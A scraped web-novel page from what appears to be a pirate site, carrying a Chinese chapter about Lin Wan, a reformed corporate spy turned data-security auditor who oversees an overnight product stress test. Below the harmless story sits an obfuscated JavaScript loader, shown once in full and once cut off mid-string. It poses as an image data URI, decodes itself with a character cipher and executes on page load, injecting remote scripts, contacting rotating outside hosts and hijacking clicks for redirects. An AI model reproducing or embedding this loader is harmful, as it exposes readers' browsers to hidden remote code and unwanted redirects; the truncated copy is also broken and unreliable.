番外第191章霓虹深处,无风之境
一秒记住【笔趣阁】
biquge34567.com,更新快,无弹窗!
番外第191章霓虹深处,无风之境(第1/2页)
凌晨三点的龙胆科技总部,依旧亮着刺目的灯。
不是那种写字楼里敷衍的应急灯,是研发中心顶层那片专属区域的白光灯,亮得能把走廊里的玻璃幕墙照得像面镜子,映出空荡的座椅和堆得半高的咖啡杯。林晚踩着软底拖鞋,轻手轻脚地走过研发区,路过姚浮萍的工位时,脚步顿了顿。
桌上摊着打印出来的“五彩绫镜”测试报告,红笔圈出的错误标得密密麻麻,旁边还压着半块没吃完的三明治——是早上曹辛夷从楼下便利店带的,说姚博士熬得脸都绿了,让他补补能量。林晚弯了弯嘴角,没打扰,径直走到最里间的服务器机房门口,刷了卡。
机房里的冷气流裹着淡淡的金属味扑面而来,瞬间冲散了她身上的咖啡味。林晚拉了拉身上的薄外套,走到监控屏前,指尖划过屏幕上的图标。
现在是凌晨三点十七分。
距离“五彩绫镜”第三次内测启动,还有七个小时。
这一次的内测,是模拟海外真实用户环境的全压力测试——不仅要验证数据加密的稳定性,还要应对预设的三种黑客攻击和两种系统崩溃场景。按照龙胆草的话说,就是“把能想到的坑都踩一遍,不然上市了就是埋雷”。
而林晚,是这次测试的“场外总控”。
没人知道,这个曾经被视作“内鬼”的实习生,如今手里握着三套核心测试权限,连姚浮萍审核方案时,都会先问她一句:“数据链路的监控节点,你那边确认没问题?”
林晚敲了敲键盘,调出服务器负载曲线。
绿色的线条平稳得像条河,没有一丝波动。
三年前,她刚进龙胆科技的时候,这里还是另一番样子。
那时候研发部的灯,每天都亮到凌晨,可氛围却像堵着块石头。曹辛夷总说“研发部的人都闷得像程序”,可只有林晚知道,那不是闷,是紧绷——那时候公司刚经历过数据泄露危机,人人自危,连茶水间里的闲聊,都得绕着“数据”两个字走。
她还记得第一次给姚浮萍递咖啡的场景。
那是她入职的第三个月,刚从“打杂岗”调到数据安全组做助理。她端着一杯热拿铁,小心翼翼地走到姚浮萍身边,说“姚博士,喝点热的,别熬了”,结果对方头都没抬,只说了句“放桌上,别碰我屏幕”,吓得她手一抖,咖啡差点洒在键盘上。
那时候她心里想,这人也太不近人情了。
可后来她才知道,姚浮萍熬到凌晨三点,是在修复“星链”升级后隐藏的一个微小漏洞——那个漏洞只有千分之一的触发概率,却可能导致百万用户数据泄露。他盯着屏幕看了八个小时,连眼睛都没眨一下,最后只是揉了揉眉心,说了句“好了,去睡吧”,语气里连一丝疲惫都没有。
也是从那时候起,林晚开始明白,龙胆科技的每个人,都在用自己的方式“守着这艘船”。
龙胆草是掌舵的,曹辛夷是管帆的,姚氏兄妹是造船的,而她,是修船的。
“还在机房?”
耳机里突然传来曹辛夷的声音,带着点刚睡醒的沙哑。
林晚愣了一下,看了眼旁边的通讯器,笑着说:“刚过来看看服务器,你不是说今天要补觉吗?怎么醒了?”
“担心你。”曹辛夷的声音顿了顿,“刚才看研发部的灯还亮着,就知道你又跑机房来了。你那胃药还剩多少?别又忘了吃。”
林晚摸了摸肚子,心里暖暖的。
三年了,她从那个被荆棘科技控制、连呼吸都带着恐惧的间谍,变成了现在这个能独当一面的数据安全审计师。这条路走得有多难,只有她自己知道。
记得刚公开身份那天,行业峰会上,几百双眼睛盯着她,有嘲讽,有怀疑,有愤怒。姚浮萍当时红着眼,指着她的鼻子说“你骗了我们所有人”,曹辛夷别过头,没看她,连龙胆草,都只是沉默地看着她,手里的钢笔捏得发白。
那一天,她觉得自己像是站在悬崖边,往前一步是万丈深渊,往后一步是万丈深渊。
可她不能退。
荆棘科技把她的父母控制在手里,逼她偷取“星链”核心算法,她退一步,父母就会有危险;她退一步,龙胆科技的心血就会付诸东流。
所以她选择了最险的路——假意传递虚假数据,暗中收集荆棘科技的黑料,再找机会反戈一击。
那天发布会上,她当着所有媒体的面,拿出荆棘科技胁迫她的录音、邮件,还有他们暗中挪用用户数据的证据时,全场都安静了。
龙胆草第一个站起来,说“林晚,我信你”。
那一刻,林晚的眼泪差点掉下来。
她知道,自己终于从“阴影里的老鼠”,变成了“阳光下的人”。
“我没忘。”林晚对着通讯器说,“刚喝了温水,胃里舒服点了。你呢?昨晚加班到几点?”
“两点。”曹辛夷的声音带着笑意,“不过没事,我年轻,扛得住。对了,龙胆草刚才发消息说,他在楼下买了你爱吃的红豆粥,让我给你带上来,等会儿记得趁热吃。”
林晚的眼睛亮了。
红豆粥,是她刚来龙胆科技时,加班到深夜,无意中在便利店买的。那时候她觉得委屈,想唐朝的家,想这里的一切都不真实,就买了碗红豆粥,坐在楼梯间吃了一晚上。被曹辛夷撞见的时候,她还慌慌张张地想藏起来,结果曹辛夷说“我也爱吃,下次我请你”。
从那以后,每次她加班,曹辛夷总会带一碗红豆粥来。
时间久了,这碗粥,就成了她的“定心丸”。
“知道了。”林晚应着,手指又划过屏幕,调出荆棘科技最近的动态,“对了,荆棘科技那边有新动作吗?我看他们的服务器最近频繁和海外的几个IP连接。”
“早查过了。”曹辛夷的声音沉了下来,“是他们在和海外资本谈合作,想拉着资本一起搞‘毒丸计划’。龙胆草已经让法务部准备材料了,九里香那边也在查他们的资金链,应该撑不了多久。”
林晚点点头,心里的石头落了地。
荆棘科技,是她的“过去”。
她曾经以为,自己这辈子都摆脱不了那个阴影。可现在,她能冷静地分析他们的战术,能预判他们的动作,甚至能笑着和曹辛夷聊起他们的“败局”。
这三年,她真的变了。
“对了,姚博士刚才醒了,喝了点粥,现在去休息了。”曹辛夷又说,“他让我跟你说,这次测试的核心节点,你安排得很合理,比他预想的更周全。”
林晚笑了。
姚浮萍从来不会说什么“谢谢”,最多就是用这种“转达”的方式,表达认可。
她想起刚转岗做数据安全审计的时候,姚浮萍把她叫到办公室,扔给她一摞厚厚的资料,说“这是荆棘科技的技术架构,你研究一下,一周后给我一份分析报告”。
那一周,她几乎没合眼。
白天跟着姚氏兄妹学技术,晚上熬夜看资料,连吃饭都捧着笔记本。曹辛夷看她太辛苦,每天给她带饭,还帮她整理笔记。
报告交上去的时候,她紧张得手心都出汗了。
结果姚浮萍只看了五分钟,就指着报告里的一行字说“这里,荆棘科技的加密算法有个漏洞,你没发现”。
她当时脸一下子白了,以为自己要被赶走。
(本章未完,请点击下一页继续阅读)番外第191章霓虹深处,无风之境(第2/2页)
可姚浮萍又说“不过你找的这个切入点不错,比我预想的深。再去研究,下次别犯这种错”。
就是这句话,让她有了继续走下去的勇气。
后来,她真的发现了那个漏洞,还帮姚浮萍完善了“反向追踪程序”。那一次,姚浮萍第一次对她说了“做得好”。
虽然只有三个字,却比任何夸奖都让她开心。
“林晚?”
曹辛夷的声音把她拉回现实。
“嗯?”
“没什么,就是看你对着屏幕发呆,以为你累了。”曹辛夷说,“对了,龙胆草刚才说,等这次测试结束,带我们去团建。你想去哪?”
林晚想了想,笑着说:“去海边吧。我想看看海。”
她已经三年没去过海边了。
刚来乞儿国的时候,她跟着萧彻去看过海,那片海和唐朝的海不一样,更辽阔,更温柔。后来回到唐朝看母亲,路过海边,她只是远远看了一眼,没敢靠近。
她怕自己一靠近,就会想起那些不堪的过去。
可现在,她不怕了。
她有了新的生活,有了值得珍惜的人,有了想要守护的东西。海边的风,应该不会再吹乱她的心了。
“好。”曹辛夷说,“那我们就去海边。我已经查好了,有个民宿离海很近,晚上还能看星星。”
挂了通讯,林晚靠在椅子上,看着机房里的灯光。
白色的灯光映着服务器的指示灯,一闪一闪的,像天上的星星。
她拿出手机,点开相册。
第一张,是她和龙胆草、曹辛夷、姚氏兄妹、九里香的合照——是公司上市庆功宴上拍的。龙胆草穿着西装,却没打领带,曹辛夷挽着他的胳膊,笑得眉眼弯弯;姚浮萍穿着白衬衫,手里拿着奖杯,一脸严肃却藏着笑意;姚厚朴身边站着他的妻子,手里抱着个孩子,笑得温柔;九里香拿着话筒,正在发言,眼里闪着光。
而她,站在最边上,穿着简单的连衣裙,手里拿着一杯果汁,笑得很放松。
照片里的每个人,都笑得很开心。
这张照片,是她最珍贵的东西。
她又点开另一张照片,是她的父母。
照片里,父母站在乞儿国的宫殿门口,看着她,眼里满是骄傲。那是她回去看母亲的时候,母亲拉着她的手,说“灵灵,你做得很好,爸妈为你骄傲”。
父亲也说“不管你在哪里,爸妈都是你的后盾”。
林晚的眼眶热了热。
她知道,自己现在很幸福。
有爱的人,有爱的事业,有温暖的家。
她再也不是那个在青楼里瑟瑟发抖的罪臣之女,再也不是那个被荆棘科技控制的商业间谍,她是林晚,是龙胆科技的数据安全审计师,是他们的“战友”。
时间过得真快。
转眼,已经到了凌晨四点。
林晚站起身,伸了个懒腰。
机房里的冷气吹得她肩膀有点凉,她拉了拉外套,走到窗边。
窗外是城市的夜景。
霓虹闪烁,车流不息,每一盏灯,都亮着一个人的故事。
她想起三年前,自己刚进入龙胆科技的时候,看着这片夜景,心里想的是“怎么才能在这里活下去”。
而现在,她看着这片夜景,心里想的是“怎么才能在这里,活得更好”。
这就是成长吧。
“叮——”
手机响了,是曹辛夷发来的消息。
【红豆粥热好了,我给你放门口了,记得吃。】
林晚笑了笑,回复【收到】。
她走到门口,打开门。
果然,门口放着一个保温桶,上面贴着一张便利贴,写着“趁热吃,别凉了”,落款是“曹辛夷”。
林晚拿起保温桶,回到座位,打开盖子。
浓郁的红豆香飘了出来,甜而不腻,温暖得能融化人心。
她舀起一勺,放进嘴里。
甜甜的红豆,软糯的糯米,混着淡淡的奶香,在嘴里散开。
这味道,和三年前第一次吃的时候,一模一样。
甚至更甜。
因为现在,她知道,这碗粥里,藏着关心,藏着信任,藏着她从未拥有过的温暖。
吃完粥,林晚擦了擦嘴,重新坐到电脑前。
她打开测试方案,开始做最后的准备。
七点整,内测正式启动。
她坐在监控屏前,手指飞快地敲着键盘,眼睛紧紧盯着屏幕上的各项数据。
绿色的线条依旧平稳,没有一丝波动。
一小时后,第一种黑客攻击触发。
屏幕上突然跳出红色的警告框,数据传输通道被恶意篡改。
林晚眼神一凝,迅速输入指令,切换备用通道,同时启动“数据护盾”程序。
三秒后,警告框消失,数据传输恢复正常。
两小时后,第二种系统崩溃场景触发。
服务器负载瞬间飙升,系统濒临死机。
姚浮萍从休息室跑回来,坐在电脑前,手指飞快地敲击着,嘴里说“林晚,调备用服务器,优先级最高”。
林晚立刻操作,备用服务器瞬间接入,负载瞬间下降。
四小时后,第三种黑客攻击触发,这次是针对用户隐私数据的暴力破解。
曹辛夷拿着文件跑进来,说“龙胆草已经让法务部发律师函了,荆棘科技那边慌了”。
林晚点点头,启动“隐私加密升级”程序,将用户数据全部转移至加密服务器。
六个小时后,内测结束。
屏幕上跳出“测试通过”的字样,绿色的对勾格外醒目。
机房里响起一阵欢呼。
姚浮萍摘下眼镜,揉了揉眉心,脸上露出一丝笑意:“不错,比上次更稳。”
曹辛夷拍了拍林晚的肩膀:“我就知道你能行。”
龙胆草走进来,手里拿着文件,笑着说:“辛苦大家了。这次测试很成功,上市的最后一块拼图,也拼上了。”
九里香跟着进来,手里拿着一叠文件:“员工那边我已经通知了,大家都知道了测试结果,士气很高。还有,董事会那边已经批准了‘五彩绫镜’的上市申请,日期定在下个月十五号。”
众人都笑了。
林晚看着身边的人,看着屏幕上的“测试通过”,看着窗外渐渐亮起来的天空,心里暖暖的。
她知道,属于龙胆科技的新时代,就要来了。
而她,会一直在这里,和他们一起,守着这艘船,驶向更远的未来。
太阳升起来了。
金色的阳光透过窗户,洒进机房,照在每个人的脸上。
霓虹依旧闪烁,车流依旧不息。
可这一次,林晚不再是那个在阴影里挣扎的人。
她站在阳光里,看着身边的人,笑着说:“接下来,我们一起,把‘五彩绫镜’,开到全世界去。”
众人齐声应和。
声音响亮,坚定,充满了希望。
霓虹深处,无风之境。
他们的传奇,才刚刚开始。
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 